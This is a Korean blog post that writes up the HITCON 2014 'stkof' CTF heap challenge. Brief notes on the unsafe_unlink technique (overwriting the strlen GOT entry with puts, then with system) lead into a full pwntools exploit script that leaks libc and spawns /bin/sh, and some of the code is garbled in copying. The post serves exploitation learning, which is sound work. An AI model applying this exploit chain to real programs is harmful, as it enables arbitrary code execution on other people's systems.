hOwDayS 선린 10720

HITCON 2014 stkof 본문

잡다한거..

HITCON 2014 stkof

hOwDayS 2018. 3. 11. 16:41



unsafe_unlink 문제이다.

이 문제가 unsafe_unlink의 좋은 문제라고 해서 풀어보았다.


RELRO 

Partial RELRO 

Stack Canary

 Canary Found

 NX

NX Enabled 

 PIE

 NO PIE














0







Free할때 내용 초기화 한다





원하는 만큼 입력 가능.










왜이지는 모르겠는데 index 1  , index 2사이에 어떤 것이 할당 된다.


edit으로 

n번째 mallocpointer를 puts_got으로 쓰고


strlen을 puts로 덮어 쓰면 Leak 가능.




strlen_got을 system으로 overwrite하고


edit을 통해 /bin/sh을 써주고 


4번메뉴로 strlen(&binsh)










     

         

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
 
 
= process("./stkof")
= ELF("./stkof")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
def malloc(size):
    p.sendline("1")
    p.sendline(str(size))
    print "MALLOC : " +  p.recvuntil("OK")
 
def free(index):
    p.sendline("3")
    p.sendline(str(index))
    print "FREE : " + p.recvuntil("OK")
 
def edit(index , size , content):
    p.sendline("2")
    p.sendline(str(index))
    p.sendline(str(size))
    p.send(content)
    print "EDIT : " +p.recvuntil("OK")
 
pointer = 0x602150
 
malloc(0x80#idx1
malloc(0x80#idx2
malloc(0x80#idx3
malloc(0x80#idx4
 
## LEAK ##
 
payload  = p64(0* 2
payload += p64(pointer - 0x18#fd
payload += p64(pointer - 0x10#bk
payload += "A" * 0x60
payload += p64(0x80#prev_sisze
payload += p64(0x90#prev_in_use
 
edit(2,len(payload) , payload)
 
free(3)
 
payload2  = "0"* (0x602148 - (0x602150-0x18))
payload2 += p64(e.got["strlen"]) #idx1 0x602148
payload2 += p64(0x602158#idx2 0x602150
payload2 += p64(e.got["puts"]) #idx3 0x602158
payload2 += p64(0x602168#idx3) 0x602160 -> 0x602168(/bin/sh)
payload2 += "/bin/sh\x00" #idx4
edit(2,len(payload2),payload2)
edit(1,8,p64(e.plt["puts"])) #overwrite strlen to puts
 
p.sendline("4")
p.sendline("3")
p.recv()
libc_base = u64(p.recv(6+ "\x00\x00"- libc.symbols["puts"]
 
log.info("Leak libc_base : " + hex(libc_base))
 
edit(1,8,p64(libc_base + libc.symbols["system"]))
 
p.sendline("4")
p.sendline("4")
 
p.interactive()
 
cs

    






앜 heap문제 익스짜는 거 넘 재밌땅


익스 할때 s0angri님의 블로그를 참조했다

http://s0ngsari.tistory.com/435

'잡다한거..' 카테고리의 다른 글

Angr  (0) 2018.03.25
Haskell Decomplier  (0) 2018.03.17
realloc vulnerability  (0) 2018.03.05
Memory Leak  (0) 2018.03.04
unsortedbin_attack  (0) 2018.02.22
Comments